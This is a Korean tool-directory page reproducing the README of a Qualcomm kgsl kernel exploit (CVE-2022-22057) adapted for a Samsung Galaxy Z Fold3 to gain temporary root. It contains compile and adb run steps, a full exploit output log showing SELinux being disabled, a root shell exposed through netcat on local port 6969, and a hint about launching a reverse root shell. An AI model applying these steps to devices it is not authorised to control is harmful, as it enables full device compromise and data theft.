Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-22057_SM-F926U — Qualcomm kgsl 드라이버 익스플로잇 (CVE-2022-22057) - 삼성 갤럭시 기기용, 임의의 커널 메모리 읽기/쓰기, SELinux 우회 및 경쟁 조건을 통한 임시 루트 액세스 달성 | Kitploit
도구/GitHubGitHub/diabl0w/cve-2022-22057_sm-f926u
Android SecurityPrivilege EscalationExploit FrameworksVulnerability AnalysisExploitationMobile SecurityBinary Exploitation
GitHubdiabl0w/cve-2022-22057_sm-f926u

CVE-2022-22057_SM-F926U

Qualcomm kgsl 드라이버 익스플로잇 (CVE-2022-22057) - 삼성 갤럭시 기기용, 임의의 커널 메모리 읽기/쓰기, SELinux 우회 및 경쟁 조건을 통한 임시 루트 액세스 달성

저장소 보기
1013년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

포크

SM-F926U용으로 원본 익스플로잇 여기에서 가져와 적응시킨 것입니다.
익스플로잇을 발견하고 SM-F926U로 이식하여 사용 가능하게 만드는 데 필요한 모든 질문에 극도로 인내심을 가져주신 m-y-mo님께 큰 감사를 드립니다.

시작 데몬(libtimeline.so)을 Shizuku의 코드를 기반으로 추가했습니다.

임시 루트 솔루션이 안정적이 되도록 하는 더티 트릭을 추가했습니다(아래 참조).

면책: 저는 파괴된 기기, 데이터 손실, 데이터 도난, 기기 보안에 대해 책임을 지지 않습니다.
면책 2: 저는 개발자가 아니라 전문적인 땜장이(tinkerer)에 가깝습니다. 문제가 발생하면 도움을 드리려고 시도할 수 있지만, 이 스레드를 다시 보지 않을 수도 있습니다. 모든 책임은 본인에게 있습니다.

요구 사항:

  • 특정 kallsym 오프셋 때문에 F926UXXS1BUL6 또는 그에 가까운 펌웨어 버전 (F926USQS1BUL6만 테스트됨)

지침:

  • 모든 지침, 위의 면책 조항, 그리고 아래 주의 사항을 먼저 읽으십시오.
  • libtimeline.so(ndk-build 사용)와 timeline(make 사용)을 컴파일하십시오.
  • 둘 다 /data/local/tmp에 복사하십시오.
  • 디버깅: 직접 /data/local/tmp/timeline을 실행하여 익스플로잇이 실행 중인지 또는 중단되었는지 확인할 수 있습니다(아래 주의 사항 참조).
  • 프로덕션: /data/local/tmp/libtimeline.so 실행
  • 경고: 기기가 커널 패닉을 일으키고 재부팅될 수 있습니다. 재부팅되면 부팅이 완료될 때까지 기다리고, 기기 잠금을 해제한 후, 기기가 부팅 후 '안정화'될 시간을 몇 분 주고 다시 시도하십시오. 이론적으로 최악의 경우 메모리에 있는 데이터가 손실될 수 있습니다. 따라서 익스플로잇을 실행하기 전에 중요한 데이터를 저장하십시오.
  • 익스플로잇이 완료되고 시작 프로세스가 루프에 진입한 후(이렇게 하는 이유는 아래 주의 사항 참조):
    • adb 세션에서 netcat 127.0.0.1 6969를 입력하여 루트 셸에 연결하십시오.
    • 연결되면 id를 입력하면 루트 자격 증명이 표시됩니다.
    • 다음 명령으로도 명령을 실행할 수 있습니다: echo 'YOUR COMMAND' | netcat 127.0.0.1 6969

추가 주의 사항:

  • 현재 익스플로잇이 성공적으로 실행되었음을 표시하는 구현이 없습니다. 반면에 timeline 바이너리를 직접 실행하면 익스플로잇이 성공했는지 확인할 수 있지만, adb 세션을 종료한 직후 기기가 충돌합니다. 그래서 libtimeline.so로 실행하는 것입니다.
  • libtimeline.so로 실행하더라도 Android가 백그라운드에서 timeline 프로세스를 종료하면 전화기가 재부팅됩니다. 제 전화기는 보통 8시간에서 며칠 사이에 프로세스가 종료됩니다.
  • libtimeline.so가 CPU를 100% 사용합니다. top에서 timeline이 약 100% CPU 사용량으로 실행되는 것을 볼 수 있습니다. 이것이 정당한지 아닌지는 잘 모르겠습니다. 실제로는 프로세스가 종료되어 기기가 충돌하는 것을 방지하기 위해 while(1) 상태에 있을 뿐이므로, 높은 CPU 사용량의 원인이나 오탐인지 아직 찾지 못했습니다 수정됨
  • 이는 임시 루트 솔루션입니다. 즉, magisk도, su 관리자도 없으며, defex는 여전히 활성화되어 있습니다.
  • 경고: 이 루트 방법은 매우 안전하지 않습니다
    • netcat을 통해 포트 6969에서 루트 셸을 실행 상태로 두며, 해당 포트에 명령을 쓰는 모든 서비스가 루트 권한으로 명령을 실행할 수 있습니다.

원본

Qualcomm CVE-2022-22057 익스플로잇

분석 글은 여기에서 찾을 수 있습니다. 이는 2021년 11월에 제가 보고한 Qualcomm kgsl 드라이버의 버그입니다. 이 버그는 신뢰할 수 없는 앱 도메인에서 임의의 커널 메모리 읽기 및 쓰기를 가능하게 하며, 이를 사용하여 SELinux를 비활성화하고 루트를 획득합니다.

익스플로잇은 Samsung Galaxy Z Flip 3(유럽 버전 SM-F711B)에서 펌웨어 버전 F711BXXS2BUL6, 베이스밴드 F711BXXU2BUL4, 커널 버전 5.4.86-qgki-23063627-abF711BXXS2BUL6(EUX 지역)로 테스트되었습니다. 익스플로잇의 오프셋은 해당 펌웨어 버전을 기준으로 합니다. 커널 이미지의 일반적인 오프셋 외에도 ion_utils.c의 이온 메모리 풀 다양한 주소도 펌웨어에 따라 다릅니다. 참고로 ndk-21에서 clang으로 컴파일하기 위해 다음 명령을 사용했습니다:

root@kitploit:~
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -O2 timeline_wait.c sendmsg_spray.c signalfd_spray.c cpu_utils.c ion_utils.c fake_obj_util.c work_queue_utils.c -o timeline

익스플로잇은 상당히 신뢰할 만합니다(테스트 기기에서 약 70%). 하지만 시작 후 몇 분 정도 기다렸다가 실행해야 합니다. 부팅 후 처음 몇 분 동안 깨지거나 실패한 binder 호출이 너무 많기 때문입니다. (Qualcomm 또는 Samsung 문제인지 확실하지 않습니다.)

테스트하려면 파일을 크로스 컴파일한 후 adb로 실행하십시오:

root@kitploit:~
adb push timeline /data/local/tmp
adb shell
b2q:/ $ /data/local/tmp/timeline

성공하면 SELinux를 비활성화하고 id 명령을 루트로 실행하여 결과를 /data/local/tmp/id.txt 파일에 기록합니다:

root@kitploit:~
b2q:/ $ /data/local/tmp/timeline
heap_id_mask 40
ion region 0x75a0ccf000
region start addr: ffffff8071800000
fence kernel addr: ffffff8071fe0040 192
created fake slab at ffffff8071840100
[+] reallocation data initialized!
[ ] initializing reallocation threads, please wait...
[+] 40 reallocation threads ready!
timeline_wait start
readpipe start
destroy start
readpipe
Caught signal: 10
 wait complete -1
readpipe finished
destroy finished
cb_list ffffffc02d943bf8 temp ffffffc02d943c48
mask 52424242 60
cpu_id 0
interval number 1
mask 7f8e7bfeff 7
thread number 0 7 20014
thread batch number 0
new mask 7f8e7bfeff ffffff8071840100
region_offset 40100
sprayed 1024 ion buffer
start searching for buffer
Found 7 ion regions
heap_ops ffffffc012e17180, kernel base: a00b8000
set enforcing to permissive
[+] successfully overwritten selinux_enforcing
wq_ptr_addr: ffffffc012dc2518
wq_addr: ffffff81f4cf1200
pwq_addr ffffff81e24ea100
pool_addr ffffff805ff7c000
worklist ffffff805ff7c020 ffffff805ff7c020
queue work
max_active 256 nr_active 0
queuing work, waiting to aquire spin lock
work_queued
work processed
complete 0
ret 0
nr_active 0
worklist ffffff805ff7c020
work next ffffff8071842c08
[+] successfully run command and added id.txt in /data/local/tmp
finished queue work
freeing ion dma fd
finished freeing ion dma fd
finished spraying
finished

wait complete -1이 출력된 후 긴 일시 중지가 있으며, 1분 미만이어야 합니다. 이는 정상입니다. 작업을 대기열에 추가하는 데 시간이 걸릴 수도 있습니다(queuing work, waiting to aquire spin lock 출력 후, 몇 분 정도 걸릴 수 있으며 인내심을 가져야 하지만 흔하지는 않습니다). 익스플로잇은 보통 몇 분 안에 완료됩니다.

파일 /data/local/tmp/id.txt는 명령이 루트로 실행되었음을 확인해야 합니다:

root@kitploit:~
b2q:/ $ cat /data/local/tmp/id.txt
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0

work_queue_utils.c의 setup_sub_info에서 변수 cmd를 변경하여 다른 명령을 실행할 수 있습니다. (예: 리버스 루트 셸을 띄우는 등.)

도구 다운로드